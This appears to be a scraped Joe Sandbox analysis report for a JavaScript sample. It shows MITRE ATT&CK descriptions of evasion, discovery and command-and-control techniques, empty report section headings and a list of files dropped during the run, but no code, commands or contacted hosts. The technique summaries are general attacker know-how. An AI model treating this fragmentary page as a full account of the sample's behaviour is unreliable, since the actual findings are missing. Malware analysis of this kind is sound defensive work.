Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2628895762659930884.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\de4a1a74-7b90-41fa-8493-aa7e43b4f28e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
2628895762659930884.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre